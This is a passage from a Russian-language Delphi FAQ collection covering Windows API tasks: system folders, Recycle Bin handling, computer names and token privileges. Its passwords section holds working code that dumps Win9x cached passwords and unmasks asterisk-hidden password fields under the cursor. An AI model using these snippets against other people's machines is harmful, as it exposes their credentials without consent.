      Memo1.Lines.Add(reg.ReadString('Display'));
      Memo1.Lines.Add(reg.ReadString('Std'));
      Memo1.Lines.Add(reg.ReadString('Dlt'));
      Memo1.Lines.Add('----------------------');
      reg.CloseKey;
    end;
    ts.Free;
  end
  else
    reg.CloseKey;
  reg.free;
end;

Взято с http://delphiworld.narod.ru


Системные папки, имя компьютера

Cодержание раздела:

Как найти системные папки Windows? Updated!
Как удалить все файлы из Recent Documents List?
Добавляем файлы в Recent Documents list?
Как найти директорию TEMP в Windows?
Как добавить документ в меню Пуск -> Документы?
Как узнать откуда была установленна Windows?
Путь к папке My Computer New!

Корзина
· Как получить количество файлов в корзине и их размер? New!
· Просмотр состояния корзины New!
· Очистка корзины New!
· Удаление файла в корзину New!
· Получение информации о папках и файлах находящихся на данный момент в корзине New!
· Восстановление файла из корзины New!

См. также статьи в других разделах:
Как вывести окно свойств компьютеpа?
Как удалить/восстановить файлы из корзины?
Как очистить пункт меню Документы кнопки Пуск?


Как найти системные папки Windows?

Type TSystemPath=(Desktop,StartMenu,Programs,Startup,Personal, winroot, winsys);
...
Function GetSystemPath(SystemPath:TSystemPath):string;
var p:pchar;
begin
with TRegistry.Create do
try
RootKey := HKEY_CURRENT_USER;
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', True);
case SystemPath of
Desktop: Result:=ReadString('Desktop');
StartMenu:Result:=ReadString('Start Menu');
Programs:Result:=ReadString('Programs');
Startup:Result:=ReadString('Startup');
Personal:Result:=ReadString('Personal');
Winroot:begin
GetMem(p,255);
GetWindowsDirectory(p,254);
result:=Strpas(p);
Freemem(p);
end;
WinSys:begin
GetMem(p,255);
GetSystemDirectory(p,254);
result:=Strpas(p);
Freemem(p);
end;
end;
finally
CloseKey;
free;
end;
if (result<>'') and (result[length(result)]<>'\') then result:=result+'\';
end;

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  reg : TRegistry;
  ts : TStrings;
  i : integer;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;
  reg.LazyWrite := false;
  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders', false);
  ts := TStringList.Create;
  reg.GetValueNames(ts);
  for i := 0 to ts.Count -1 do
    Memo1.Lines.Add(ts.Strings[i] + ' = ' + reg.ReadString(ts.Strings[i]));
  ts.Free;
  reg.CloseKey;
  reg.free;
end;

Взято с http://delphiworld.narod.ru


Как удалить все файлы из Recent Documents List?

Для этого можно воспользоваться API функцией SHAddToRecentDocs:

procedure TForm1.Button1Click(Sender: TObject);
begin
SHAddToRecentDocs(SHARD_PATH, 0);
end;

Не забудьте включить ShlObj в Unit

Взято из http://forum.sources.ru


Добавляем файлы в Recent Documents list?

Предположим Вам захотелось, чтобы Ваше программа сама умела добавлять файлы "recent documents list" (для тех, кто в танке - это такая менюшка, которая появляется при нажатии на кнопку Пуск(Start) и наведении мышкой на "Документы" (Documents). Сама функция API-шная, так что применять её можно в любом компиляторе.
Добавляем следующий код в интерфейсную часть формы:

const
SHARD_PIDL = 1;
SHARD_PATH = 2;

procedure SHAddToRecentDocs(Flags: Word; pfname: Pointer); stdcall; external 'shell32.dll' name'SHAddToRecentDocs';

А так выглядит вызов этой функции:

SHAddTorecentDocs(SHARD_PATH,pchar('C:\mydir\myprogram.exe'));

файл 'myprogram.exe' будет добавлен в recent documents list

Взято из http://forum.sources.ru


Как найти директорию TEMP в Windows?

function c_GetTempPath: String;
var
  Buffer: array[0..1023] of Char;
begin
  SetString(Result, Buffer, GetTempPath(Sizeof(Buffer)-1,Buffer));
end;

этот код так же можно использовать для:
GetCurrentDirectory
GetSystemDirectory
GetWindowsDirectory

Взято из http://forum.sources.ru


Как добавить документ в меню Пуск -> Документы?

Используйте функцию SHAddToRecentDocs.

uses ShlOBJ;

procedure TForm1.Button1Click(Sender: TObject);
var
   s : string;
begin
   s := 'C:\DownLoad\ntkfaq.html';
   SHAddToRecentDocs(SHARD_PATH, pChar(s));
end;

Взято из http://forum.sources.ru


Как узнать откуда была установленна Windows?

Мне нужно программно установить некоторые файлы с установочного диска Windows. На многих компьютерах CAB-файлы установки Windows находятся в каком-то каталоге на жестком диске, на других - Windows был установлен с CD. Как узнать откуда была установленна Windows?

Эту информацию можно получить из реестра.

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
  reg: TRegistry;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\SETUP', false);
  ShowMessage(reg.ReadString('SourcePath'));
  reg.CloseKey;
  reg.free;
end;


Путь к папке My Computer

uses
  ActiveX, ShlObj;

procedure TForm1.Button1Click(Sender: TObject);
var
  pShell, ShellFolder: IShellFolder;
  pidl: PITEMIDLIST;
  PMalloc: IMalloc;
  sName: string;
  EnumIDList: IEnumIDList;
  pceltFetched: ULONG;
  lpName: TStrRet;
  slDirectories: TStringList;
begin
  slDirectories := TStringList.Create;
  try
    SHGetDesktopFolder(ShellFolder);
    SHGetSpecialFolderLocation(0,CSIDL_DRIVES, pidl);
    SHGetMalloc(PMalloc);
    ShellFolder.BindToObject(pidl, nil, IID_IShellFolder, Pointer(pShell));
    pShell.EnumObjects(0,SHCONTF_FOLDERS, EnumIDList);
    while EnumIDList.Next(1,pidl, pceltFetched) = S_ok do
    begin
      pceltFetched := 0;
      lpName.uType := 0;
      pShell.GetDisplayNameOf(pidl, SHGDN_FORPARSING, lpName);
      sName := lpName.pOleStr;
      slDirectories.Add(sName);
    end;
    ListBox1.Items.Assign(sldirectories);
  finally
    pMalloc._Release;
    pMalloc := nil;
    slDirectories.Free;
  end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Пример очистки куков и Temporaly Internet Files

uses ..., WinInet;

procedure DeleteCache;
var
  lpEntryInfo: PInternetCacheEntryInfo;
  hCacheDir: LongWord;
  dwEntrySize: LongWord;
begin
  dwEntrySize := 0;
  FindFirstUrlCacheEntry(nil, TInternetCacheEntryInfo(nil^), dwEntrySize);
  GetMem(lpEntryInfo, dwEntrySize);
  try
    if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;
    hCacheDir := FindFirstUrlCacheEntry(nil, lpEntryInfo^, dwEntrySize);
    if hCacheDir <> 0 then
    try
      repeat
        DeleteUrlCacheEntry(lpEntryInfo^.lpszSourceUrlName);
        FreeMem(lpEntryInfo, dwEntrySize);
        dwEntrySize := 0;
        FindNextUrlCacheEntry(hCacheDir, TInternetCacheEntryInfo(nil^), dwEntrySize);
        GetMem(lpEntryInfo, dwEntrySize);
        if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;
      until not FindNextUrlCacheEntry(hCacheDir, lpEntryInfo^, dwEntrySize);
    finally
      FindCloseUrlCache(hCacheDir);
    end;
  finally
    FreeMem(lpEntryInfo, dwEntrySize);
  end;
end;

Автор Rouse_
Взято из http://forum.sources.ru


Корзина

Cодержание раздела:
Как получить количество файлов в корзине и их размер? New!
Просмотр состояния корзины New!
Очистка корзины New!
Удаление файла в корзину New!
Получение информации о папках и файлах находящихся на данный момент в корзине New!
Восстановление файла из корзины New!


Как получить количество файлов в корзине и их размер?

type
  PSHQueryRBInfo = ^TSHQueryRBInfo;
  TSHQueryRBInfo = packed record
    cbSize: DWORD;
    // Size of the structure, in bytes.
    // This member must be filled in prior to calling the function.
    i64Size: Int64;
    // Total size of all the objects in the specified Recycle Bin, in bytes.
    i64NumItems: Int64;
    // Total number of items in the specified Recycle Bin.
  end;

const
  shell32 = 'shell32.dll';

function SHQueryRecycleBin(szRootPath: PChar; SHQueryRBInfo: PSHQueryRBInfo): HResult;
  stdcall; external shell32 Name 'SHQueryRecycleBinA';

function GetDllVersion(FileName: string): Integer;
var
  InfoSize, Wnd: DWORD;
  VerBuf: Pointer;
  FI: PVSFixedFileInfo;
  VerSize: DWORD;
begin
  Result   := 0;
  InfoSize := GetFileVersionInfoSize(PChar(FileName), Wnd);
  if InfoSize <> 0 then
  begin
    GetMem(VerBuf, InfoSize);
    try
      if GetFileVersionInfo(PChar(FileName), Wnd, InfoSize, VerBuf) then
        if VerQueryValue(VerBuf, '\', Pointer(FI), VerSize) then
          Result := FI.dwFileVersionMS;
    finally
      FreeMem(VerBuf);
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
  DllVersion: integer;
  SHQueryRBInfo: TSHQueryRBInfo;
  r: HResult;
begin
  DllVersion := GetDllVersion(PChar(shell32));
  if DllVersion >= $00040048 then
  begin
    FillChar(SHQueryRBInfo, SizeOf(TSHQueryRBInfo), #0);
    SHQueryRBInfo.cbSize := SizeOf(TSHQueryRBInfo);
    R := SHQueryRecycleBin(nil, @SHQueryRBInfo);
    if r = s_OK then
    begin
      label1.Caption := Format('Size:%d Items:%d',
        [SHQueryRBInfo.i64Size, SHQueryRBInfo.i64NumItems]);
    end
    else
      label1.Caption := Format('Err:%x', [r]);
  end;
end;

{

The SHQueryRecycleBin API used in this method is
only available on systems with the latest shell32.dll installed with IE4 /
Active Desktop.

}


Просмотр состояния корзины

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ShellAPI;

const
  SHERB_NOCONFIRMATION  =  $1;
  SHERB_NOPROGRESSUI    =  $2;
  SHERB_NOSOUND         =  $4;

type
  TForm1 = class(TForm)
    btnGetRecicleBinFileCount: TButton;
    btnEmptyRecicleBin: TButton;
    btnDelToReciclebin: TButton;
    procedure btnGetRecicleBinFileCountClick(Sender: TObject);
    procedure btnEmptyRecicleBinClick(Sender: TObject);
    procedure btnDelToReciclebinClick(Sender: TObject);
  end;

type
   TSHQueryRBInfo = packed record
     cbSize      : DWORD;
     i64Size,
     i64NumItems : TLargeInteger;
   end;
   PSHQueryRBInfo = ^TSHQueryRBInfo;

  function SHEmptyRecycleBin(hwnd: HWND; pszRootPath: PChar;
    dwFlags: DWORD): HRESULT; stdcall;
    external 'shell32.dll' name 'SHEmptyRecycleBinA';

  function SHQueryRecycleBin (pszRootPath: PChar;
    var SHQueryRBInfo: TSHQueryRBInfo): HRESULT; stdcall;
    external  'Shell32.dll' name 'SHQueryRecycleBinA';

var
  Form1: TForm1;

implementation

{$R *.dfm}

// Просмотр состояния корзины (краткая информация)
procedure TForm1.btnGetRecicleBinFileCountClick(Sender: TObject);
var
  Info: TSHQueryRBInfo;
  Err: HRESULT;
begin
  ZeroMemory(@Info, SizeOf(Info));
  Info.cbSize := SizeOf(Info);
  Err := SHQueryRecycleBin(nil, Info);
  if Err = S_OK then
    ShowMessage(Format('Всего в корзине %d эелементов, их общий размер: %d',
      [Info.i64NumItems, Info.i64Size]))
  else
    ShowMessage(SysErrorMessage(Err));
end;

end.

Автор: Rouse_
Взято из http://forum.sources.ru


Очистка корзины

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ShellAPI;

const
  SHERB_NOCONFIRMATION  =  $1;
  SHERB_NOPROGRESSUI    =  $2;
  SHERB_NOSOUND         =  $4;

type
  TForm1 = class(TForm)
    btnGetRecicleBinFileCount: TButton;
    btnEmptyRecicleBin: TButton;
    btnDelToReciclebin: TButton;
    procedure btnGetRecicleBinFileCountClick(Sender: TObject);
    procedure btnEmptyRecicleBinClick(Sender: TObject);
    procedure btnDelToReciclebinClick(Sender: TObject);
  end;

type
   TSHQueryRBInfo = packed record
     cbSize      : DWORD;
     i64Size,
     i64NumItems : TLargeInteger;
   end;
   PSHQueryRBInfo = ^TSHQueryRBInfo;

  function SHEmptyRecycleBin(hwnd: HWND; pszRootPath: PChar;
    dwFlags: DWORD): HRESULT; stdcall;
    external 'shell32.dll' name 'SHEmptyRecycleBinA';

  function SHQueryRecycleBin (pszRootPath: PChar;
    var SHQueryRBInfo: TSHQueryRBInfo): HRESULT; stdcall;
    external  'Shell32.dll' name 'SHQueryRecycleBinA';

var
  Form1: TForm1;

implementation

{$R *.dfm}

// Очистка корзины
procedure TForm1.btnEmptyRecicleBinClick(Sender: TObject);
var
  Err: HRESULT;
begin
  Err := SHEmptyRecycleBin(Handle, 'c:\', SHERB_NOSOUND);
  if Err <> S_OK then ShowMessage(SysErrorMessage(Err));
end;

end.

Автор: Rouse_
Взято из http://forum.sources.ru


Удаление файла в корзину

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ShellAPI;

const
  SHERB_NOCONFIRMATION  =  $1;
  SHERB_NOPROGRESSUI    =  $2;
  SHERB_NOSOUND         =  $4;

type
  TForm1 = class(TForm)
    btnGetRecicleBinFileCount: TButton;
    btnEmptyRecicleBin: TButton;
    btnDelToReciclebin: TButton;
    procedure btnGetRecicleBinFileCountClick(Sender: TObject);
    procedure btnEmptyRecicleBinClick(Sender: TObject);
    procedure btnDelToReciclebinClick(Sender: TObject);
  end;

type
   TSHQueryRBInfo = packed record
     cbSize      : DWORD;
     i64Size,
     i64NumItems : TLargeInteger;
   end;
   PSHQueryRBInfo = ^TSHQueryRBInfo;

  function SHEmptyRecycleBin(hwnd: HWND; pszRootPath: PChar;
    dwFlags: DWORD): HRESULT; stdcall;
    external 'shell32.dll' name 'SHEmptyRecycleBinA';

  function SHQueryRecycleBin (pszRootPath: PChar;
    var SHQueryRBInfo: TSHQueryRBInfo): HRESULT; stdcall;
    external  'Shell32.dll' name 'SHQueryRecycleBinA';

var
  Form1: TForm1;

implementation

{$R *.dfm}

// Удаление файла в корзину...
procedure TForm1.btnDelToReciclebinClick(Sender: TObject);
var
  Struct: TSHFileOpStruct;
  Err: HRESULT;
begin
  with Struct do
  begin
    Wnd := Handle;
    wFunc := FO_DELETE;
    pFrom := 'c:\1.txt';
    pTo := nil;
    fFlags := FOF_ALLOWUNDO;
    fAnyOperationsAborted := True;
    hNameMappings := nil;
    lpszProgressTitle := nil;
  end;
  Err := SHFileOperation(Struct);
  if Err <> S_OK then ShowMessage(SysErrorMessage(Err));
end;

end.

Автор: Rouse_
Взято из http://forum.sources.ru


Получение информации о папках и файлах находящихся на данный момент в корзине

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ShellAPI, ShlObj, ActiveX, ComCtrls, Menus;

// корзина отображает не всю информацию по удаленному элементу
// а только 6 позиций.
// в действительности этих позиций больше...
const
  DETAIL_COUNT = 11;

type
  TForm1 = class(TForm)
    Button1: TButton;
    ListView1: TListView;
    PopupMenu1: TPopupMenu;
    mnuRestore: TMenuItem;
    procedure Button1Click(Sender: TObject);
    procedure mnuRestoreClick(Sender: TObject);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

// Функция взята из QDialogs...
function StrRetToString(PIDL: PItemIDList; StrRet: TStrRet;
  Flag: String = ''): String;
var
  P: PChar;
begin
  case StrRet.uType of
    STRRET_CSTR:
      SetString(Result, StrRet.cStr, lStrLen(StrRet.cStr));
    STRRET_OFFSET:
      begin
        P := @PIDL.mkid.abID[StrRet.uOffset - SizeOf(PIDL.mkid.cb)];
        SetString(Result, P, PIDL.mkid.cb - StrRet.uOffset);
      end;
    STRRET_WSTR:
      if Assigned(StrRet.pOleStr) then
        Result := StrRet.pOleStr
      else
        Result := '';
  end;
  { This is a hack bug fix to get around Windows Shell Controls returning
    spurious "?"s in date/time detail fields }
  if (Length(Result) > 1) and (Result[1] = '?') and (Result[2] in ['0'..'9']) then
    Result := StringReplace(Result, '?', '', [rfReplaceAll]);
end;

// Смотрим содержимое корзины...
function ViewRecycleBin(const AHandle: THandle; LV: TListView): Boolean;
var
  ppidl, Item: PItemIDList;
  Desktop: IShellFolder;
  RecycleBin: IShellFolder2;
  RecycleBinEnum: IEnumIDList;
  Fetched, I: Cardinal;
  Details: TShellDetails;
  Mallok: IMalloc;
  TmpStr: ShortString;
begin
  Result := False;
  if LV = nil then Exit;
  LV.Clear;
  LV.Columns.Clear;
  LV.ViewStyle := vsReport;
  if SHGetMalloc(Mallok) = S_OK then
    if SHGetSpecialFolderLocation(AHandle, CSIDL_BITBUCKET, ppidl) = S_OK then
      if SHGetDesktopFolder(Desktop) = S_OK then
        if Desktop.BindToObject(ppidl, nil, IID_IShellFolder2, RecycleBin) = S_OK then
          if RecycleBin.EnumObjects(AHandle,
            SHCONTF_FOLDERS or SHCONTF_NONFOLDERS, RecycleBinEnum) = S_OK  then
          begin
            // Создаем колонки
            for I := 0 to DETAIL_COUNT - 1 do
              if RecycleBin.GetDetailsOf(nil, I, Details) = S_OK then
              try
                with LV.Columns.Add do
                begin
                  Caption := StrRetToString(Item, Details.str);
                  Width := LV.Canvas.TextWidth(Caption) + 24;
                end;
              finally
                Mallok.Free(Details.str.pOleStr);
              end;
            // Перечиляем содержимое корзины
            while True do
            begin
              RecycleBinEnum.Next(1, Item, Fetched);
              if Fetched = 0 then Break;
              if RecycleBin.GetDetailsOf(Item, 0, Details) = S_OK then
              begin
                try
                  TmpStr := StrRetToString(Item, Details.str);
                finally
                  Mallok.Free(Details.str.pOleStr);
                end;
                with LV.Items.Add do
                begin
                  Caption := TmpStr;
                  for I := 1 to DETAIL_COUNT - 1 do
                    if RecycleBin.GetDetailsOf(Item, I, Details) = S_OK then
                    try
                      SubItems.Add(StrRetToString(Item, Details.str));
                    finally
                      Mallok.Free(Details.str.pOleStr);
                    end;
                end;
              end;
            end;
            Result := True;
          end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ViewRecycleBin(Handle, ListView1);
end;

end.

Автор: Rouse_
Взято из http://forum.sources.ru


Восстановление файла из корзины

// Функция восстанавливает выбранный в ListView элемент из корзины...
function RestoreElement(const AHandle: THandle; LV: TListView): Boolean;

  function GetLVItemText(const Index: Integer): String;
  begin
    if Index = 0 then
      Result := LV.Selected.Caption
    else
      Result := LV.Selected.SubItems.Strings[Index - 1];
  end;

var
  ppidl, Item: PItemIDList;
  Desktop: IShellFolder;
  RecycleBin: IShellFolder2;
  RecycleBinEnum: IEnumIDList;
  Fetched, I: Cardinal;
  Details: TShellDetails;
  Mallok: IMalloc;
  Valid: Boolean;
  Context: IContextMenu;
  AInvokeCommand: TCMInvokeCommandInfo;
begin
  Result := False;
  if LV = nil then Exit;
  if SHGetMalloc(Mallok) = S_OK then
    if SHGetSpecialFolderLocation(AHandle, CSIDL_BITBUCKET, ppidl) = S_OK then
      if SHGetDesktopFolder(Desktop) = S_OK then
        if Desktop.BindToObject(ppidl, nil, IID_IShellFolder2, RecycleBin) = S_OK then
          if RecycleBin.EnumObjects(AHandle,
            SHCONTF_FOLDERS or SHCONTF_NONFOLDERS or SHCONTF_INCLUDEHIDDEN, RecycleBinEnum) = S_OK  then
          begin
            // Перечиляем содержимое корзины
            while True do
            begin
              RecycleBinEnum.Next(1, Item, Fetched);
              if Fetched = 0 then Break;
              Valid := False;
              for I := 0 to DETAIL_COUNT - 1 do
                if RecycleBin.GetDetailsOf(Item, I, Details) = S_OK then
                try
                  // Ищем нужный нам элемент
                  Valid := GetLVItemText(I) = StrRetToString(Item, Details.str);
                  if not Valid then Break;
                finally
                  Mallok.Free(Details.str.pOleStr);
                end;
              // Если выделенный элемент найден
              if Valid then
              begin
                // Восстанавливаем его при помощи интерфейса IContextMenu
                if RecycleBin.GetUIObjectOf(AHandle, 1, Item,
                  IID_IContextMenu, nil, Pointer(Context)) = S_OK then
                begin
                  FillMemory(@AInvokeCommand, SizeOf(AInvokeCommand), 0);
                  with AInvokeCommand do
                  begin
                    cbSize := SizeOf(AInvokeCommand);
                    hwnd := AHandle;
                    // - локализация не нужна...
                    lpVerb := 'undelete'; // - восстановление фийла из корзины...
                    //lpVerb := 'properties'; // - показ диалога свойства...
                    //lpVerb := 'delete'; // - удаление файла из корзины...
                    fMask := 0;
                    lpDirectory := PChar(LV.Selected.SubItems.Strings[0]);
                    nShow := SW_SHOWNORMAL;
                  end;
                  Result := Context.InvokeCommand(AInvokeCommand) = S_OK;
                  Break;
                end;
              end;
            end;
          end;
end;

procedure TForm1.mnuRestoreClick(Sender: TObject);
begin
  if ListView1.Selected <> nil then
    if RestoreElement(Handle, ListView1) then ShowMessage('Элемент успешно восстановлен.');
end;

Автор: Rouse_
Взято из http://forum.sources.ru


Имя компьютера

Cодержание раздела:

Как изменить имя компьютера?
Как узнать имя компьютера?

См. также статьи в других разделах:
Как показать Choose Computer диалог?


Как изменить имя компьютера?

SetComputerName(PChar(Edit1.text));

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как узнать имя компьютера?

Function ReadComputerName:string;
var
i:DWORD;
p:PChar;
begin
i:=255;
GetMem(p, i);
GetComputerName(p, i);
Result:=String(p);
FreeMem(p);
end;

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Пользователи, пароли, защита информации

Cодержание раздела:

Как получить закэшированные пароли в Win9x?
Как прочитать пароль, скрытый за звездочками?
Как проверить, имеем ли мы административные привилегии в системе?
Изменение привелегий New!
Как вывести список привелегий? New!
Проверить запущена ли программа от System account? New!
Запуск процесса в контексте другого пользователя New!
Получить список пользователей New!

См. также статьи в других разделах:
Получение имени конфигурации HardWare profile


Как получить закэшированные пароли в Win9x?

program getpass;
........
type
...
ListBox: TListBox;
procedure getpasswords;
.......
end;

const Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation

{$R *.DFM}

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = ^TWinPassword;
TWinPassword = record
   EntrySize: Word;
   ResourceSize: Word;
   PasswordSize: Word;
   EntryIndex: Byte;
   EntryType: Byte;
   PasswordC: Char;
  end;
var
  WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
  Password: String;
  PC: Array[0..$FF] of Char;
begin
  inc(Count);

  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
  PC[WinPassword.ResourceSize] := #0;
  CharToOem(PC, PC);
  Password := StrPas(PC);

  Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
  PC[WinPassword.PasswordSize] := #0;
  CharToOem(PC, PC);
  Password := Password + ': ' + StrPas(PC);

  Form1.ListBox.Items.Add(Password);
  Result := True;
end;

procedure tform1.getpasswords;
var error: string;
begin
  if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
    begin
      error := 'Can not load passwords: User is not loged on.';
    end
  else if Count = 0 then
    error := 'No passwords found...'
end;

Взято из http://forum.sources.ru


Как прочитать пароль, скрытый за звездочками?

Наверно так: хотя классов может быть больше

procedure TForm1.Timer1Timer(Sender: TObject);
var
Wnd : HWND;
lpClassName: array [0..$FF] of Char;
begin
Wnd := WindowFromPoint(Mouse.CursorPos);
GetClassName (Wnd, lpClassName, $FF);
if ((strpas(lpClassName) = 'TEdit') or (strpas(lpClassName) = 'EDIT')) then
PostMessage (Wnd, EM_SETPASSWORDCHAR, 0, 0);
end;

Автор ответа: Baa
Взято с Vingrad.ru http://forum.vingrad.ru

Здесь проблема: если страница памяти защищена, то её нельзя прочитать таким способом, но можно заменить PasswordChar(пример: поле ввода пароля в удаленном соединении)

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru


Как проверить, имеем ли мы административные привилегии в системе?

type
  PTOKEN_GROUPS = TOKEN_GROUPS^;

function RunningAsAdministrator(): Boolean;
var
  SystemSidAuthority: SID_IDENTIFIER_AUTHORITY = SECURITY_NT_AUTHORITY;
  psidAdmin: PSID;
  ptg: PTOKEN_GROUPS = nil;
  htkThread: Integer; { HANDLE }
  cbTokenGroups: Longint; { DWORD }
  iGroup: Longint; { DWORD }
  bAdmin: Boolean;
begin
  Result := false;
  if not OpenThreadToken(GetCurrentThread(), // get security token
    TOKEN_QUERY, FALSE, htkThread) then
    if GetLastError() = ERROR_NO_TOKEN then
    begin
      if not OpenProcessToken(GetCurrentProcess(),
        TOKEN_QUERY, htkThread) then
        Exit;
    end
    else
      Exit;

  if GetTokenInformation(htkThread, // get #of groups
    TokenGroups, nil, 0, cbTokenGroups) then
    Exit;

  if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then
    Exit;

  ptg := PTOKEN_GROUPS(getmem(cbTokenGroups));
  if not Assigned(ptg) then
    Exit;

  if not GetTokenInformation(htkThread, // get groups
    TokenGroups, ptg, cbTokenGroups, cbTokenGroups) then
    Exit;

  if not AllocateAndInitializeSid(SystemSidAuthority,
    2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
    0, 0, 0, 0, 0, 0, psidAdmin) then
    Exit;

  iGroup := 0;
  while iGroup < ptg^.GroupCount do // check administrator group
  begin
    if EqualSid(ptg^.Groups[iGroup].Sid, psidAdmin) then
    begin
      Result := TRUE;
      break;
    end;
    Inc(iGroup);
  end;
  FreeSid(psidAdmin);
end;

Взято сhttp://delphiworld.narod.ru


Изменение привелегий

{
  For some functions you need to get the right privileges
  on a Windows NT machine.
  (e.g: To shut down or restart windows with ExitWindowsEx or
  to change the system time)
  The following code provides a procedure to adjust the privileges.
  The AdjustTokenPrivileges() function enables or disables privileges
  in the specified access token.
}

// NT Defined Privileges from winnt.h

const
  SE_CREATE_TOKEN_NAME = 'SeCreateTokenPrivilege';
  SE_ASSIGNPRIMARYTOKEN_NAME = 'SeAssignPrimaryTokenPrivilege';
  SE_LOCK_MEMORY_NAME = 'SeLockMemoryPrivilege';
  SE_INCREASE_QUOTA_NAME = 'SeIncreaseQuotaPrivilege';
  SE_UNSOLICITED_INPUT_NAME = 'SeUnsolicitedInputPrivilege';
  SE_MACHINE_ACCOUNT_NAME = 'SeMachineAccountPrivilege';
  SE_TCB_NAME = 'SeTcbPrivilege';
  SE_SECURITY_NAME = 'SeSecurityPrivilege';
  SE_TAKE_OWNERSHIP_NAME = 'SeTakeOwnershipPrivilege';
  SE_LOAD_DRIVER_NAME = 'SeLoadDriverPrivilege';
  SE_SYSTEM_PROFILE_NAME = 'SeSystemProfilePrivilege';
  SE_SYSTEMTIME_NAME = 'SeSystemtimePrivilege';
  SE_PROF_SINGLE_PROCESS_NAME = 'SeProfileSingleProcessPrivilege';
  SE_INC_BASE_PRIORITY_NAME = 'SeIncreaseBasePriorityPrivilege';
  SE_CREATE_PAGEFILE_NAME = 'SeCreatePagefilePrivilege';
  SE_CREATE_PERMANENT_NAME = 'SeCreatePermanentPrivilege';
  SE_BACKUP_NAME = 'SeBackupPrivilege';
  SE_RESTORE_NAME = 'SeRestorePrivilege';
  SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
  SE_DEBUG_NAME = 'SeDebugPrivilege';
  SE_AUDIT_NAME = 'SeAuditPrivilege';
  SE_SYSTEM_ENVIRONMENT_NAME = 'SeSystemEnvironmentPrivilege';
  SE_CHANGE_NOTIFY_NAME = 'SeChangeNotifyPrivilege';
  SE_REMOTE_SHUTDOWN_NAME = 'SeRemoteShutdownPrivilege';
  SE_UNDOCK_NAME = 'SeUndockPrivilege';
  SE_SYNC_AGENT_NAME = 'SeSyncAgentPrivilege';
  SE_ENABLE_DELEGATION_NAME = 'SeEnableDelegationPrivilege';
  SE_MANAGE_VOLUME_NAME = 'SeManageVolumePrivilege';

// Enables or disables privileges debending on the bEnabled
// Aktiviert oder deaktiviert Privilegien, abhangig von bEnabled

function NTSetPrivilege(sPrivilege: string; bEnabled: Boolean): Boolean;
var
  hToken: THandle;
  TokenPriv: TOKEN_PRIVILEGES;
  PrevTokenPriv: TOKEN_PRIVILEGES;
  ReturnLength: Cardinal;
begin
  Result := True;
  // Only for Windows NT/2000/XP and later.
  if not (Win32Platform = VER_PLATFORM_WIN32_NT) then Exit;
  Result := False;

  // obtain the processes token
  if OpenProcessToken(GetCurrentProcess(),
    TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
  begin
    try
      // Get the locally unique identifier (LUID) .
      if LookupPrivilegeValue(nil, PChar(sPrivilege),
        TokenPriv.Privileges[0].Luid) then
      begin
        TokenPriv.PrivilegeCount := 1; // one privilege to set

        case bEnabled of
          True: TokenPriv.Privileges[0].Attributes  := SE_PRIVILEGE_ENABLED;
          False: TokenPriv.Privileges[0].Attributes := 0;
        end;

        ReturnLength := 0; // replaces a var parameter
        PrevTokenPriv := TokenPriv;

        // enable or disable the privilege

        AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),
          PrevTokenPriv, ReturnLength);
      end;
    finally
      CloseHandle(hToken);
    end;
  end;
  // test the return value of AdjustTokenPrivileges.
  Result := GetLastError = ERROR_SUCCESS;
  if not Result then
    raise Exception.Create(SysErrorMessage(GetLastError));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как вывести список привелегий?

procedure TForm1.Button1Click(Sender: TObject);
const
  TokenSize = 800; //  (SizeOf(Pointer)=4 *200)
var
  hToken: THandle;
  pTokenInfo: PTOKENPRIVILEGES;
  ReturnLen: Cardinal;
  i: Integer;
  PrivName: PChar;
  DisplayName: PChar;
  NameSize: Cardinal;
  DisplSize: Cardinal;
  LangId: Cardinal;
begin
  GetMem(pTokenInfo, TokenSize);
